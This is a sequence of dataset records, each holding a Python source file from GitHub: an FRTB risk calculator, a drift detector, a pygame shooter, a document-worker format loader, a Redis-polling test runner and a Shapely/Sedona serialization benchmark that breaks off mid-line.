{"seq_id": "42504775284", "text": "import pandas as pd\nimport logging\nimport os\nimport params\nimport frtb_lib\nimport argparse\n\n##############################\n# Setup Logging Configuration\n##############################\nlogger = logging.getLogger(os.path.basename(__file__))\nif not len(logger.handlers):\n    logger.setLevel(logging.DEBUG)\n    ch = logging.StreamHandler()\n    ch.setLevel(logging.DEBUG)\n    formatter = logging.Formatter('%(asctime)s|%(name)s === %(message)s ===', datefmt='%Y-%m-%d %I:%M:%S')\n    ch.setFormatter(formatter)\n    logger.addHandler(ch)\n\n    file_handler = logging.FileHandler('log.txt', mode='w')\n    file_handler.setFormatter(formatter)\n    file_handler.setLevel(logging.DEBUG)\n    logger.addHandler(file_handler)\n###############################\n\n\ndef main():\n    # Setup input argument\n    parser = argparse.ArgumentParser(description='FRBT Calculation.')\n    parser.add_argument('-f', dest='input_file', type=str, required=True, help='FRBT input csv file')\n    args = parser.parse_args(['-f' 'frtb_config.xlsx'])\n    # args = parser.parse_args()\n\n    # Create output directory for product and risk class\n    frtb_lib.prep_output_directory(params)\n\n    # Read input file with specified data type\n    input_file = args.input_file\n\n    trades_pos = frtb_lib.generate_trade_pos(input_file, params)\n    run_cases = frtb_lib.generate_run_cases(input_file, trades_pos)\n\n    # Calculate FRTB risk charges and dump output\n    results_all = []\n    if len(run_cases) > 0:\n        for case in run_cases.CombinationID.unique():\n            logger.info('Run test {0}'.format(case))\n            run_case = run_cases[run_cases.CombinationID == case].copy()\n            result = frtb_lib.calculate_sensitivity_risk(run_case, params)\n            results_all.append(result)\n\n        results_all = pd.concat(results_all)\n        results_all.to_csv('results_output.csv', index=False)\n\n        for index, row in results_all.iterrows():\n            # logger.info('{0}: Total Risk is {1:,}'.format(row['CombinationID'], int(round(row['SIMM_Benchmark']))))\n            logger.info('{0}: Total Risk is {1:,}'.format(row['CombinationID'], row['Risk_Charge']))\n\n    else:\n        logger.info('No trade has Risk')\n\n    return\n\nif __name__ == '__main__':\n    main()", "repo_name": "ivanshuer/FRTB", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2233, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 15, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 22, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 29, "usage_type": "call"}, {"api_name": "frtb_lib.prep_output_directory", "line_number": 35, "usage_type": "call"}, {"api_name": "frtb_lib.generate_trade_pos", "line_number": 40, "usage_type": "call"}, {"api_name": "frtb_lib.generate_run_cases", "line_number": 41, "usage_type": "call"}, {"api_name": "frtb_lib.calculate_sensitivity_risk", "line_number": 49, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 52, "usage_type": "call"}]}
{"seq_id": "73267796391", "text": "import numpy as np\nimport util\nfrom scipy import stats\nfrom river.base import DriftDetector\nfrom scipy.spatial import distance\nimport time\n\n\nclass LD3(DriftDetector):\n    def __init__(self, k=2, window_size = 250, correlation_delta=0.05, relax_threshold=0.2, max_window_size=1000):\n        super().__init__()\n        self.k = k\n        self.window_size = window_size\n        self.max_window_size = max_window_size\n        self.initial_window_size = window_size\n        self.w1 = Window(max_size=window_size)\n        self.w2 = Window(max_size=window_size)\n        self.w3 = Window(max_size=window_size)\n        self.warmup = True\n        self.warmup_count = window_size * 2\n        self.r1 = None\n        self.r2 = None\n        self.correlation_delta = correlation_delta\n        self.past_correlation = None\n        self.relax_threshold = relax_threshold\n        self.cum_sum = 0\n        self.count = 0\n        self.average_slope = True\n        self.max_dist = 0\n\n    def update(self, value):\n        self.insert_element(value.flatten())\n        if not self.warmup:\n            self.r1 = util.recip_rank(util.to_numpy_matrix(self.w1.get_window))\n            self.r2 = util.recip_rank(util.to_numpy_matrix(self.w2.get_window))\n            self.count += 1\n\n            #drift, warning = self.detect_change()\n            drift, warning = False, False\n            correlation = self.rank_correlation()\n            self.w3.queue(self._average_correlation - correlation)\n            self.cum_sum += correlation\n    \n            if stats.wilcoxon(self.w3.get_window)[1] < 0.05: #correlation > self.correlation_delta:\n                drift = True\n                warning = True\n                \n            if drift:\n                self.clear_windows()\n                #self.increase_windows(self.window_size*2)\n                self.warmup_counter(warmup_count=self.window_size*2)\n                print('Correlation: ', correlation)\n                print('Average correlation: ', self._average_correlation)\n                #self.cum_sum = 0\n                #self.count = 0\n            \n            return drift, warning\n\n        return False, False\n\n    def rank_correlation(self, dist=distance.cityblock):\n        self.count += 1\n        x = (np.argsort(self.r1)).astype(np.float32)\n        y = (np.argsort(self.r2)).astype(np.float32)\n        if self.max_dist == 0:\n            maxx = np.arange(1,len(x)+1,1).astype(np.float)\n            maxy = np.flip(np.arange(1,len(x)+1,1)).astype(np.float) \n            self.max_dist = dist(maxx, maxy, w=1/((maxy)**maxy))\n        #c = np.array([(dist(x[i], y[i])-1) * (1/((2)**(y[i]*y[i]))) for i in range(len(x))]).sum()\n        #c = dist(x, y, w=1/((2)**(y*y))) / np.sqrt(len(x))\n        c = dist(x, y, w=1/((y)**(y))) / self.max_dist\n        self.cum_sum += c\n        return c \n\n    def dist(self, x, y, w):\n\n        sum_ = 0\n        for i in range(len(x)):\n            abs_ = np.abs(x[i] - y[i])\n            sum_ +=  abs_*w[i] if abs_ > 1 else 0\n        return sum_\n        \n\n    def warmup_counter(self, warmup_count=None):\n        if self.warmup_count > 0:\n            self.warmup_count -= 1\n        else:\n            self.warmup = False\n\n        if warmup_count is not None:\n            self.warmup_count = warmup_count\n            self.warmup = True\n\n    def insert_element(self, value):\n        self.warmup_counter()\n        v = self.w1.queue(value)\n        if v is not None:\n            u = self.w2.queue(v)\n    \n    def clear_windows(self):\n        self.w1.clear()\n        self.w2.clear()\n        self.w3.clear()\n\n    def increase_windows(self, value):\n        if value < self.max_window_size:\n            self.window_size = value\n            self.w1.increase_size(value)\n            self.w2.increase_size(value) \n\n    def decrease_windows(self, value):\n        if value >= self.initial_window_size:\n            self.window_size = value\n            self.w1.decrease_size(value)\n            self.w2.decrease_size(value) \n\n    def detect_change(self):\n        # EXPERIMENT WITH:\n        #\n        # KENDALL TAU\n        # WEIGHTED TAU\n        # SPEARMANR\n        # PEARSONR\n        # SOMERS'D\n        # GOODMAN AND KRUSKAL'S GAMMA\n\n        warning_margin = self.k // 2\n        r1 = self.r1[:self.k]\n        r2 = self.r2[:self.k]\n        for rank in r2:\n            if rank not in r1:\n                warning_margin -= 1\n        \n        return warning_margin < 0, False\n    \n    @property\n    def _ranks(self):\n        return self.r1, self.r2\n    \n    @property\n    def _average_correlation(self):\n        return self.cum_sum / self.count if self.count > 0 else 0\n\n\n    def aptau(self, l1, l2):\n        ci_sum = 0\n        for i in range(1,len(l1)):\n            item_x = l1[i]\n            l_x = l1[:i]\n            l_y = l2[:np.where(l2==item_x)[0][0]]\n            ci = 0\n            for j in range(len(l_x)):\n                if l_x[j] in l_y:\n                    ci += 1\n            ci_sum += (ci/i)\n        return ((2 * ci_sum) / (len(l2) - 1)) - 1\n    \n    def symmaptau(self, l1, l2):\n        return (self.aptau(l1, l2) + self.aptau(l2, l1)) / 2\n\nclass Window():\n    def __init__(self, max_size=250):\n        self.max_size = max_size\n        self.size = 0\n        self.window = []\n    \n    def queue(self, value):\n        if self.size <= self.max_size:\n            self.window.append(value)\n            self.size += 1\n            popped = None\n        else:\n            popped = self.dequeue()\n            self.window.append(value)\n        return popped\n    \n    def dequeue(self):\n        return self.window.pop(0)\n\n    def clear(self):\n        self.size = 0\n        self.window.clear()\n\n    def increase_size(self, value):\n        self.max_size = value\n    \n    def decrease_size(self, value):\n        self.max_size = value\n    \n    @property\n    def get_window(self):\n        return np.array(self.window)", "repo_name": "eldarfin/LD3-Label-Dependency-Drift-Detector", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 5850, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "river.base.DriftDetector", "line_number": 9, "usage_type": "name"}, {"api_name": "util.recip_rank", "line_number": 34, "usage_type": "call"}, {"api_name": "util.to_numpy_matrix", "line_number": 34, "usage_type": "call"}, {"api_name": "util.recip_rank", "line_number": 35, "usage_type": "call"}, {"api_name": "util.to_numpy_matrix", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.stats.wilcoxon", "line_number": 44, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 44, "usage_type": "name"}, {"api_name": "scipy.spatial.distance.cityblock", "line_number": 61, "usage_type": "attribute"}, {"api_name": "scipy.spatial.distance", "line_number": 61, "usage_type": "name"}, {"api_name": "numpy.argsort", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.argsort", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 66, "usage_type": "attribute"}, {"api_name": "numpy.flip", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 192, "usage_type": "call"}]}
{"seq_id": "13719846557", "text": "'''\n    - Mejorar Button()\n    - Fondo con estrellas generadas con patrón aleatorio aleatoriamente(#)\n    - Añadir WASD\n    - Añadir más sonidos (pygame.mixer)\n    - Powerups para cambiar velocidad de nave\n    - Hacer metroids animados (GIF?)\n    - Ordenar y poner la misma palabra en el mismo tipo de funciones\n\n'''\n  \n#---------------\n\nimport pygame\nfrom pygame.sprite import Group\nfrom pygame import mixer\nimport random\n\n#\n\nfrom settings import Settings\nfrom classGameStats import GameStats\nfrom classShip import Ship\nfrom classMetroid import Metroid\nfrom classButton import Button\nfrom classScore import Scoreboard\n\n#\n\nimport functions as f\n\n#---------------\n\ndef run_game():\n\n    # Crea la ventana e inicia el juego\n    \n    pygame.init()\n    \n    ai_settings = Settings()\n    screen = pygame.display.set_mode((ai_settings.screen_width, ai_settings.screen_height))\n    pygame.display.set_caption(\"Space Pirates by Víctor Martín\")\n    icon = pygame.image.load(\"C:\\Python\\Practicas\\practicaspaveinvaders\\imagenes\\game_icon.png\")\n    pygame.display.set_icon(icon)\n    \n    stats = GameStats (ai_settings) # Almacena estadísticas de juego\n    sb = Scoreboard(ai_settings, screen, stats) # Crea una instancia para almacenar estadísticas de juego y mostrarlas en una tabla\n    ship = Ship(ai_settings,screen) # Dibuja la nave una vez\n    metroid = Metroid(ai_settings, screen) # Crea una instancia de la clase Metroid\n    play_button = Button(ai_settings, screen, \"Empieza la misión\") # Crea el botón \"Empieza la misión\"\n    \n    # Crea un grupo de proyectiles y de metroids\n    bullets = Group() \n    metroids = Group()\n    \n    f.create_star_pattern(ai_settings,screen)\n    f.create_fleet(ai_settings, screen, ship, metroids)\n\n    # Inicia la música de fondo en bucle\n\n    pygame.mixer.Channel(0).play(pygame.mixer.Sound(\"C:\\Python\\Practicas\\practicaspaveinvaders\\sonidos\\itemroom.mp3\"))\n\n    while True: # Inicia el bucle para el juego\n        \n        f.check_events(ai_settings, screen, stats, sb, play_button, ship, metroids, bullets) # Comprueba input del jugador\n        \n        if stats.game_active: \n            ship.update() # Actualiza de la nave\n            f.update_bullets(ai_settings, screen, stats, sb, ship, metroids,bullets) # Actualiza la posición de los proyectiles\n            f.update_metroids(ai_settings, screen, stats, sb, ship, metroids, bullets) # Actualiza la posición de los metroids\n        \n        f.update_screen(ai_settings, screen, stats, sb, ship, bullets, metroids, play_button) # Actualiza con nuevos datos la pantalla\n        pygame.display.flip() # Hace que la ventana creada más recientemente sea visible y esconde la anterior\n\n\nrun_game()\n\n", "repo_name": "Vikms95/python-space-invaders", "sub_path": "space_pirates_main.py", "file_name": "space_pirates_main.py", "file_ext": "py", "file_size_in_byte": 2698, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.init", "line_number": 38, "usage_type": "call"}, {"api_name": "settings.Settings", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 41, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.display.set_icon", "line_number": 44, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 44, "usage_type": "attribute"}, {"api_name": "classGameStats.GameStats", "line_number": 46, "usage_type": "call"}, {"api_name": "classScore.Scoreboard", "line_number": 47, "usage_type": "call"}, {"api_name": "classShip.Ship", "line_number": 48, "usage_type": "call"}, {"api_name": "classMetroid.Metroid", "line_number": 49, "usage_type": "call"}, {"api_name": "classButton.Button", "line_number": 50, "usage_type": "call"}, {"api_name": "pygame.sprite.Group", "line_number": 53, "usage_type": "call"}, {"api_name": "pygame.sprite.Group", "line_number": 54, "usage_type": "call"}, {"api_name": "functions.create_star_pattern", "line_number": 56, "usage_type": "call"}, {"api_name": "functions.create_fleet", "line_number": 57, "usage_type": "call"}, {"api_name": "pygame.mixer.Channel", "line_number": 61, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 61, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 61, "usage_type": "call"}, {"api_name": "functions.check_events", "line_number": 65, "usage_type": "call"}, {"api_name": "functions.update_bullets", "line_number": 69, "usage_type": "call"}, {"api_name": "functions.update_metroids", "line_number": 70, "usage_type": "call"}, {"api_name": "functions.update_screen", "line_number": 72, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 73, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 73, "usage_type": "attribute"}]}
{"seq_id": "15763630548", "text": "import logging\n\nfrom ..consts import FormatField, StepField\nfrom ..documents import DocumentFile\nfrom ..templates.steps import create_step, Step, \\\n    FormatStepException\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass Format:\n\n    FORMAT_META_REQUIRED = [FormatField.UUID,\n                            FormatField.NAME,\n                            FormatField.STEPS]\n\n    STEP_META_REQUIRED = [StepField.NAME,\n                          StepField.OPTIONS]\n\n    def __init__(self, template, metadata: dict):\n        self.template = template\n        self._verify_metadata(metadata)\n        self.uuid = self._trace = metadata[FormatField.UUID]\n        self.name = metadata[FormatField.NAME]\n        LOG.info(f'Setting up format \"{self.name}\" ({self._trace})')\n        self.steps = self._create_steps(metadata)\n        if len(self.steps) < 1:\n            self.template.raise_exc(f'Format {self.name} has no steps')\n\n    def _verify_metadata(self, metadata: dict):\n        for required_field in self.FORMAT_META_REQUIRED:\n            if required_field not in metadata:\n                self.template.raise_exc(f'Missing required field {required_field} for format')\n        for step in metadata[FormatField.STEPS]:\n            for required_field in self.STEP_META_REQUIRED:\n                if required_field not in step:\n                    self.template.raise_exc(f'Missing required field {required_field} '\n                                            f'for step in format \"{self.name}\"')\n\n    def _create_steps(self, metadata: dict) -> list[Step]:\n        steps = []\n        for step_meta in metadata[FormatField.STEPS]:\n            step_name = step_meta[StepField.NAME]\n            step_options = step_meta[StepField.OPTIONS]\n            try:\n                steps.append(\n                    create_step(self.template, step_name, step_options)\n                )\n            except FormatStepException as e:\n                LOG.warning('Handling job exception', exc_info=True)\n                self.template.raise_exc(f'Cannot load step \"{step_name}\" of format \"{self.name}\"\\n'\n                                        f'- {e.message}')\n            except Exception as e:\n                LOG.warning('Handling job exception', exc_info=True)\n                self.template.raise_exc(f'Cannot load step \"{step_name}\" of format \"{self.name}\"\\n'\n                                        f'- {str(e)}')\n        return steps\n\n    @property\n    def is_pdf(self) -> bool:\n        return self.steps[-1].produces_only_pdf\n\n    def requires_via_extras(self, requirement: str) -> bool:\n        return any(step.requires_via_extras(requirement)\n                   for step in self.steps)\n\n    def execute(self, context: dict) -> DocumentFile:\n        result = self.steps[0].execute_first(context)\n        for step in self.steps[1:]:\n            if result is not None:\n                result = step.execute_follow(result, context)\n            else:\n                break\n        return result\n", "repo_name": "ds-wizard/engine-tools", "sub_path": "packages/dsw-document-worker/dsw/document_worker/templates/formats.py", "file_name": "formats.py", "file_ext": "py", "file_size_in_byte": 2966, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "consts.FormatField.UUID", "line_number": 14, "usage_type": "attribute"}, {"api_name": "consts.FormatField", "line_number": 14, "usage_type": "name"}, {"api_name": "consts.FormatField.NAME", "line_number": 15, "usage_type": "attribute"}, {"api_name": "consts.FormatField", "line_number": 15, "usage_type": "name"}, {"api_name": "consts.FormatField.STEPS", "line_number": 16, "usage_type": "attribute"}, {"api_name": "consts.FormatField", "line_number": 16, "usage_type": "name"}, {"api_name": "consts.StepField.NAME", "line_number": 18, "usage_type": "attribute"}, {"api_name": "consts.StepField", "line_number": 18, "usage_type": "name"}, {"api_name": "consts.StepField.OPTIONS", "line_number": 19, "usage_type": "attribute"}, {"api_name": "consts.StepField", "line_number": 19, "usage_type": "name"}, {"api_name": "consts.FormatField.UUID", "line_number": 24, "usage_type": "attribute"}, {"api_name": "consts.FormatField", "line_number": 24, "usage_type": "name"}, {"api_name": "consts.FormatField.NAME", "line_number": 25, "usage_type": "attribute"}, {"api_name": "consts.FormatField", "line_number": 25, "usage_type": "name"}, {"api_name": "consts.FormatField.STEPS", "line_number": 35, "usage_type": "attribute"}, {"api_name": "consts.FormatField", "line_number": 35, "usage_type": "name"}, {"api_name": "consts.FormatField.STEPS", "line_number": 43, "usage_type": "attribute"}, {"api_name": "consts.FormatField", "line_number": 43, "usage_type": "name"}, {"api_name": "consts.StepField.NAME", "line_number": 44, "usage_type": "attribute"}, {"api_name": "consts.StepField", "line_number": 44, "usage_type": "name"}, {"api_name": "consts.StepField.OPTIONS", "line_number": 45, "usage_type": "attribute"}, {"api_name": "consts.StepField", "line_number": 45, "usage_type": "name"}, {"api_name": "templates.steps.create_step", "line_number": 48, "usage_type": "call"}, {"api_name": "templates.steps.FormatStepException", "line_number": 50, "usage_type": "name"}, {"api_name": "templates.steps.Step", "line_number": 41, "usage_type": "name"}, {"api_name": "documents.DocumentFile", "line_number": 68, "usage_type": "name"}]}
{"seq_id": "40778465187", "text": "# 轮询 读取 信息 进行 更新\n\n# 更新 时 标记 正在 工作\n\n# （高级） 可配置 和 指定 什么 分支  需要 执行 的 测试集  需要 一个 文件\n# 默认全部\n\n# 系统\n## ====================\nimport os\nimport sys\nimport subprocess\n## ====================\n\n# Redis\n## ====================\nimport ownlib.redis_manager as rdm\n## ====================\n\n# 解析\n## ====================\nimport json\nimport yaml\ntry:\n    from yaml import CLoader as Loader, CDumper as Dumper\nexcept:\n    from yaml import Loader, Dumper\n## ====================\n\n# 定时\n## ====================\nimport schedule\n## ====================\n\nPWD = sys.path[0]\n\nredisManager = rdm.RedisManager()\n\n\ndef main():\n    os.chdir(PWD)  # 设置工作目录\n    # 定时 读取 redis\n    # wait_for_test = take_need_test_branch()\n\n    # running(wait_for_test)\n    start_runner()\n\n    ## 开启监听\n    while True:\n        schedule.run_pending()\n\n\ndef run_core_test(repo, branch):\n\n    # 过滤 这个 仓库 的 这个 分支 是否 执行\n\n    user = repo.split(\":\")[0]\n    name = repo.split(\":\")[1]\n    subprocess.run(\"git checkout \" + branch,shell=True,cwd=\"warehouse/\" + name + \"_realm/\" + user + \"/\" + name)\n    # switch_dir(\"./warehouse/\" + name + \"_realm/\" + user + \"/\" + name)\n    # os.system(\"git checkout \" + branch)\n\n    print(user, \" - \", name, \"coretest开始运行\")\n    ## 进入 仓库\n    # os.chdir(PWD)\n    # os.chdir(\"./warehouse/\" + repo.name + \"_realm/\" + repo.user + \"/\" +\n    #          repo.name + \"/zCore\")\n    # ## build\n    # switch_dir(\"./warehouse/\" + name + \"_realm/\" + user + \"/\" + name +\n    #            \"/zCore\")\n    # os.system(\"make build-parallel-test mode=release\")\n\n    # subprocess.run(\"make build-parallel-test mode=release\",shell=True,cwd=\"warehouse/\" + name + \"_realm/\" + user + \"/\" + name + \"/zCore\")\n    subprocess.run(\"python3 core_test.py \" + user +\" \"+ branch,shell=True,cwd=\"warehouse/\" + name + \"_realm/\" + \"scripts\")\n    # subprocess.run(\"python3 core-tests.py\",shell=True,cwd=\"warehouse/\" + name + \"_realm/\" + user + \"/\" + name + \"/scripts\")\n    \n    # os.chdir(PWD)\n    # ## 指定当前工作目录\n    # switch_dir(\"./warehouse/\" + name + \"_realm/\" + user)\n    # ## 执行测试\n    # os.system(\"python3 ../parallel-test.py \" + branch)\n    \n    # subprocess.run(\"python3 parallel-test.py \" + branch,shell=True,cwd=\"warehouse/\" + name + \"_realm/scripts\")\n    \n    # os.chdir(PWD)\n    # switch_dir(\"./warehouse/\" + name + \"_realm/\" + user + \"/\" + name +\n    #            \"/zCore\")\n    # os.system(\"make clean\")\n    subprocess.run(\"make clean\",shell=True,cwd=\"warehouse/\" + name + \"_realm/\" + user + \"/\" + name + \"/zCore\")\n    print(user, \" - \", name, \"coretest运行结束\")\n    # os.chdir(PWD)\n\n    pass\n\n\ndef run_libc_test(repo, branch):\n\n    # 过滤 这个 仓库 的 这个 分支 是否 执行\n\n    user = repo.split(\":\")[0]\n    name = repo.split(\":\")[1]\n\n    ## 进入 仓库\n    print(user, \" - \", name, \"libc开始运行\")\n    subprocess.run(\"git checkout \" + branch,shell=True,cwd=\"warehouse/\" + name + \"_realm/\" + user + \"/\" + name)\n    # switch_dir(\"./warehouse/\" + name + \"_realm/\" + user + \"/\" + name)\n    ## build\n    subprocess.run(\"make rootfs && make libc-test\",shell=True,cwd=\"warehouse/\" + name + \"_realm/\" + user + \"/\" + name)\n    # os.system(\"make rootfs && make libc-test\")\n    ## 指定当前工作目录\n    # switch_dir(\"./warehouse/\" + name + \"_realm/\" + user + \"/\" + name +\n    #            \"/scripts\")\n    ## 执行测试\n    subprocess.run(\"python3 parallel-test.py \" + branch,shell=True,cwd=\"warehouse/\" + name + \"_realm/\" + user + \"/\" + name + \"/scripts\")\n    # os.system(\"python3 libc-tests.py\")\n    # switch_dir(\"./warehouse/\" + name + \"_realm/\" + user + \"/\" + name +\n    #            \"/zCore\")\n\n    # os.system(\"make clean\")\n    print(user, \" - \", name, \"libc运行结束\")\n    # os.chdir(PWD)\n\n\ndef running():\n    # 设置 占用\n\n    # temp\n    wait_for_test = take_need_test_branch()\n\n    with open(\"./config/test_spec.yaml\", \"r\") as f:\n        d = f.read()\n        print(d)\n        test_config = yaml.load(d, Loader=Loader)\n\n    for r in wait_for_test.keys():\n        redisManager.start_running(r)\n        repo_name = r.split(\":\")[1]\n\n        print(\"待测试\")\n        print(r, \":\", wait_for_test[r])\n        for b in wait_for_test[r]:\n            try:\n                fns = test_config.get(repo_name).get(b)\n            except:\n                fns = None\n            # 进入 仓库 进入 分支 执行 测试\n            if fns != None:\n                print(\"指定 测试 \")\n                for i in fns:\n                    print(i)\n                    if i == \"core_test\":\n                        print(\"运行 coretest\")\n                        run_core_test(r, b)\n                    elif i == \"libc_test\":\n                        print(\"运行 libctest\")\n                        run_libc_test(r, b)\n            else:\n                # run_core_test(r, b)\n                # run_libc_test(r, b)\n                print(repo_name,\":\",b,\"无指定 测试\")\n\n            \n        redisManager.finish_running(r)\n        print(\"运行 完毕 清除 redis\")\n\n\ndef start_runner():\n    schedule.every(10).seconds.do(running)\n\n\ndef take_need_test_branch():\n    need_test = redisManager.take_need_test()\n    return need_test\n\n\n# def switch_dir(path):\n#     print(\"切换 工作 目录 ----->\")\n#     os.chdir(PWD)\n#     print(\"切换前:\" + str(os.system(\"pwd\")))\n#     os.chdir(path)\n#     print(\"切换后:\" + str(os.system(\"pwd\")))\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "GCYYfun/MengXia", "sub_path": "runner.py", "file_name": "runner.py", "file_ext": "py", "file_size_in_byte": 5558, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "ownlib.redis_manager.RedisManager", "line_number": 37, "usage_type": "call"}, {"api_name": "ownlib.redis_manager", "line_number": 37, "usage_type": "name"}, {"api_name": "os.chdir", "line_number": 41, "usage_type": "call"}, {"api_name": "schedule.run_pending", "line_number": 50, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 59, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 74, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 89, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 105, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 108, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 114, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 133, "usage_type": "call"}, {"api_name": "yaml.Loader", "line_number": 133, "usage_type": "name"}, {"api_name": "schedule.every", "line_number": 168, "usage_type": "call"}]}
{"seq_id": "1389962470", "text": "from sedona.utils.geometry_serde import serialize, deserialize\nfrom shapely.geometry import LineString, Point, Polygon, MultiPoint, MultiLineString, MultiPolygon\nfrom shapely.wkb import dumps, loads\n\nimport time\n\ndef run_serialize_trial(geom, number_iterations, name):\n    print(f\"{name} serialize trial:\")\n\n    start_time = time.perf_counter_ns()\n    for _ in range(number_iterations):\n        dumps(geom)\n    shapely_time = time.perf_counter_ns() - start_time\n\n    start_time = time.perf_counter_ns()\n    for _ in range(number_iterations):\n        serialize(geom)\n    sedona_time = time.perf_counter_ns() - start_time\n\n    print(f\"\\tTotal Time (seconds):\")\n    print(f\"\\t\\tShapely: {shapely_time / 1e9}\\n\\t\\tSedona: {sedona_time / 1e9}\\n\\t\\tFactor: {(sedona_time - shapely_time) / shapely_time}\\n\")\n\ndef run_deserialize_trial(geom, number_iterations, name):\n    print(f\"{name} deserialize trial:\")\n\n    shapely_serialized_geom = dumps(geom)\n    sedona_serialized_geom = serialize(geom)\n\n    start_time = time.perf_counter_ns()\n    for _ in range(number_iterations):\n        loads(shapely_serialized_geom)\n    shapely_time = time.perf_counter_ns() - start_time\n\n    start_time = time.perf_counter_ns()\n    for _ in range(number_iterations):\n        deserialize(sedona_serialized_geom)\n    sedona_time = time.perf_counter_ns() - start_time\n\n    print(f\"\\tTotal Time (seconds):\")\n    print(f\"\\t\\tShapely: {shapely_time / 1e9}\\n\\t\\tSedona: {sedona_time / 1e9}\\n\\t\\tFactor: {(sedona_time - shapely_time) / shapely_time}\\n\")\n\nshort_line_iterations = 200_000\nshort_line = LineString([(10.0, 10.0), (20.0, 20.0)])\n\nlong_line_iterations = 100_000\nlong_line = LineString([(float(n), float(n)) for n in range(1000)])\n\npoint_iterations = 500_000\npoint = Point(12.3, 45.6)\n\nsmall_polygon_iterations = 200_000\nsmall_polygon = Polygon([(10.0, 10.0), (20.0, 10.0), (20.0, 20.0), (10.0, 20.0), (10.0, 10.0)])\n\nlarge_polygon_iterations = 100_000\nlarge_polygon = Polygon(\n    [(0.0, float(n * 10)) for n in range(100)]\n    + [(float(n * 10), 990.0) for n in range(100)]\n    + [(990.0, float(n * 10)) for n in reversed(range(100))]\n    + [(float(n * 10), 0.0) for n in reversed(range(100))]\n)\n\nsmall_multipoint_iterations = 10_000\nsmall_multipoint = MultiPoint([(n, n) for n in range(3)])\n\nlarge_multipoint_iterations = 10_000\nlarge_multipoint = MultiPoint([(n, n) for n in range(100)])\n\nsmall_multilinestring_iterations = 10_000\nsmall_multilinestring = MultiLineString([[(10.0, 10.0), (20.0, 20.0)] for _ in range(3)])\n\nlarge_multilinestring_iterations = 5_000\nlarge_multilinestring = MultiLineString([[(10.0, 10.0), (20.0, 20.0)] for _ in range(100)])\n\nsmall_multipolygon_iterations = 10_000\nsmall_multipolygon = MultiPolygon([small_polygon for _ in range(3)])\n\nlarge_multipolygon_iterations = 5_000\nlarge_multipolygon = MultiPolygon([small_polygon for _ in range(100)])\n\nrun_serialize_trial(short_line, short_line_iterations, \"short line\")\nrun_serialize_trial(long_line, long_line_iterations, \"long line\")\nrun_serialize_trial(point, point_iterations, \"point\")\nrun_serialize_trial(small_polygon, small_polygon_iterations, \"small polygon\")\nrun_serialize_trial(large_polygon, large_polygon_iterations, \"large polygon\")\nrun_serialize_trial(small_multipoint, small_multipoint_iterations, \"small multipoint\")\nrun_serialize_trial(large_multipoint, large_multipoint_iterations, \"large multipoint\")\nrun_serialize_trial(small_multilinestring, small_multilinestring_iterations, \"small multilinestring\")\nrun_serialize_trial(large_multilinestring, large_multilinestring_iterations, \"large multilinestring\")\nrun_serialize_trial(small_multipolygon, small_multipolygon_iterations, \"small multipolygon\")\nrun_serialize_trial(large_multipolygon, large_multipolygon_iterations, \"large multipolygon\")\n\nrun_deserialize_trial(short_line, short_line_iterations, \"short 